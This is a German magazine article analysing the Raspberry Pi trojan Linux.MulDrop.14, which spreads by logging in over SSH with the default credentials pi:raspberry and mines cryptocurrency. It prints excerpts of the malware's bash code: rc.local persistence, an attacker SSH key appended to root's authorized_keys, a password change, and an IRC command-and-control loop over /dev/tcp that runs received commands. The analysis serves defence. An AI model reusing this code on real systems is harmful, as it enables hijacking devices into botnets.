Startseite>Der Raspberry Pi im Visier von Trojanern
Aus Raspberry Pi Geek 10/2017

Der Raspberry Pi im Visier von Trojanern

© Udo Schotten, 123RF

Trojaner, nein danke!

Christoph Langner

Der auf Raspbian zugeschnittene Trojaner Linux.MulDrop.14 versucht den Raspberry Pi in einen Mining-Sklaven für Crypto-Währungen zu verwandeln. Wir erklären, wie Sie sich vor einer Infektion schützen.

Noch vor wenigen Jahren waren Viren die größte Bedrohung für Computersysteme. Die Schadprogramme nutzten Sicherheitslücken aus, um sich mehr oder minder unkontrolliert zu verbreiten. Einen “Nutzen” hatten die Schöpfer dieser Schädlinge in der Regel nicht vorgesehen. Oft brachten die Viren den Rechner einfach nur zum Absturz oder machten ihn unbenutzbar.

Heute soll Malware nicht mehr nur einfach Schaden anrichten, die Entwickler hinter diesen Programmen möchten gekaperte Rechner zu Geld machen. Entweder verschlüsselt die Schadsoftware Daten, die sie nur gegen Zahlung eines Lösegelds wieder freigibt (Stichwort Ransomware), oder sie macht den Computer zu einem Zombie, der für die weitere Verbreitung des Trojaners sorgt, andere Rechner angreift oder als unfreiwilliger Datenproxy fungiert.

RasPi-Trojaner

Dabei haben es die Cracker nicht nur auf Computer abgesehen. In vielen alltäglichen Geräten steckt in der Elektronik ein kleiner Computer mitsamt Betriebssystem, das sich unter Ausnutzung von Sicherheitslücken angreifen lässt. Ob Router, IP-Kamera oder Waschmaschine: Das Internet der Dinge schafft viele Möglichkeiten – daher dürfen weder Hersteller noch Nutzer die Sicherheit der Systeme aus den Augen verlieren.

Zu den eher ungewöhnlichen Zielen gehört auch der Raspberry Pi. Der Anfang Juli 2017 publik gewordene Trojaner Linux.MulDrop.14 [1] sucht gezielt nach RasPis im lokalen Netzwerk und versucht, diese zu Zombies zu machen. Raspbian machte es dem Trojaner lange Zeit sehr leicht, da sämtliche Systeme in der Standardeinstellung dieselben Zugangsdaten nutzen und über den von Haus aus aktiven SSH-Server eine Angriffsfläche boten.

Zwar haben die Raspbian-Entwickler inzwischen schon reagiert und die Sicherheitslücke abgeschwächt, indem der SSH-Server nur noch auf expliziten Wunsch des Anwenders startet [2], doch das einheitliche Login und Passwort bleiben. Einzig ein kleiner Hinweis beim Login via SSH erinnert die Anwender daran, das Passwort raspberry des Nutzers pi via passwd gegen ein eigenes Kennwort auszutauschen (Abbildung 1).

Abbildung 1: Frisch aufgesetzte Systeme nutzen die Standard-Credentials »pi«:»raspberry«. Ändern Sie unbedingt das Passwort.

Abbildung 1: Frisch aufgesetzte Systeme nutzen die Standard-Credentials »pi«:»raspberry«. Ändern Sie unbedingt das Passwort.

Zombie-Himbeere

Diesen Umstand macht sich der Trojaner Linux.MulDrop.14 zunutze: Er durchsucht das Netzwerk aktiv nach Rechnern, die am SSH-Port 22 auf Verbindungsanfragen lauschen. Erhalten sie von dort eine Antwort, versucht sich der Trojaner mit den Zugangsdaten pi:raspberry anzumelden. Im Erfolgsfall setzt das Schadprogramm ein neues Passwort, startet ein Mining-Werkzeug für Crypto-Währungen und versucht, weitere anfällige RasPis im Netz ausfindig zu machen und sich weiter auf diesen zu verbreiten.

Der Trojaner besteht aus einem einfachen Bash-Skript; den vollständigen Code finden Sie beispielsweise im deutschsprachigen Raspberry-Forum [3]. Das Programm schreibt nach dem Start zuerst eine Kopie seiner selbst in ein zufällig benanntes Unterverzeichnis von /opt/ und trägt sich zudem in die /etc/rc.local ein, damit das System die Startroutine beim Booten automatisch ausführt (Listing 1).

Listing 1

 

#!/bin/bash
[...]
if [ "$EUID" -ne 0 ]
then
NEWMYSELF=`mktemp -u 'XXXXXXXX'`
sudo cp $MYSELF /opt/$NEWMYSELF
sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
sudo sh -c "echo 'exit 0' >> /etc/rc.local"
[...]

Anschließend schießt das Skript eine Reihe von Diensten ab, die dem Programm in die Quere kommen könnten. Dazu gehört mit Kaiten [4] ein konkurrierender Trojaner; auch bins.sh (das Programm taucht im Zusammenhang mit Linux-Malware immer wieder auf) sowie die Domain http://bins.deutschland-zahlung.eu scheinen den Machern von Linux.MulDrop.14 nicht zu gefallen. Die Domain leitet der Trojaner auf Localhost um und legt sie somit auf dem Rechner lahm (Listing 2). Außerdem löscht das Programm die .bashrc für root und pi, damit lokale Bash-Konfigurationen das Ausführen des Trojaners nicht behindern.

Listing 2

 

[...]
killall bins.sh
killall minerd
[...]
killall zmap
killall kaiten
killall perl
echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc
[...]

Minensklave

Im nächsten Schritt ändert der Trojaner das Passwort – ab diesem Zeitpunkt können Sie sich nicht mehr auf dem System anmelden. Danach trägt das Programm einen eigenen SSH-Schlüssel ein und fügt den Google-Nameserver unter der IP *8.8.8.8 zum System hinzu. Dann kümmert sich das Skript wieder um die Konkurrenz: Ein Mining-Tool für diverse Crypto-Währungen und abermals Kaiten sollen vom System verschwinden (Listing 3).

Listing 3

 

[...]
usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten
[...]

Danach verwandelt der Trojaner das RasPi-System in einen ferngesteuerten Zombie. Per IRC verbindet sich das Programm zu einem Control-System und lädt weitere Daten herunter, die es dann wieder als Bash-Skript ausführt (Listing 4). Das bietet den Hintermännern die Möglichkeit, dem Trojaner später beliebige Funktionen hinzuzufügen. Aktuell holt sich das System einen Crypto-Miner, der im Hintergrund die Prozessorlast auf das Maximum hochtreibt. Der Raspberry Pi heizt sich dementsprechend hoch.

Listing 4

 

[...]
cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do
arr[0]="ix1.undernet.org"
[...]
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}
eval 'exec 3<>/dev/tcp/$svr/6667;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
echo $NICK
eval 'printf "NICK $NICK\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
# Main loop
while [ true ]; do
eval "read msg_in <&3;"
if [[ ! "$?" -eq 0 ]] ; then
break
fi
if  [[ "$msg_in" =~ "PING" ]] ; then
printf "PONG %s\n" "${msg_in:5}";
eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
sleep 1
eval 'printf "JOIN #biret\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
privmsg_h=$(echo $msg_in| cut -d':' -f 3)
privmsg_data=$(echo $msg_in| cut -d':' -f 4)
privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
if [[ "$sign" == "$hash" ]] ; then
CMD=`echo $privmsg_data | base64 -d -i`
RES=`bash -c "$CMD" | base64 -w 0`
eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
[...]

Den Abschluss bildet dann eine Routine zur viralen Verbreitung der Malware. Das Skript installiert über die Paketverwaltung den sehr leistungsfähigen Netzwerkscanner Zmap [5] und fragt bei jedem Durchlauf 100 000 IP-Adressen auf einem SSH-Server ab. Antwortet dieser, versucht sich das Programm mit pi:raspberry einzuloggen, und das Spiel geht von Neuem los (Listing 5).

DIESEN ARTIKEL ALS PDF KAUFEN
EXPRESS-KAUF ALS PDFUmfang: 5 HeftseitenPreis €0,99
(inkl. 19% MwSt.)
€0,99 – Kaufen
RASPBERRY PI GEEK KAUFEN
EINZELNE AUSGABE Print-Ausgaben Digitale Ausgaben
ABONNEMENTS Print-Abos Digitales Abo
TABLET & SMARTPHONE APPS
Deutschland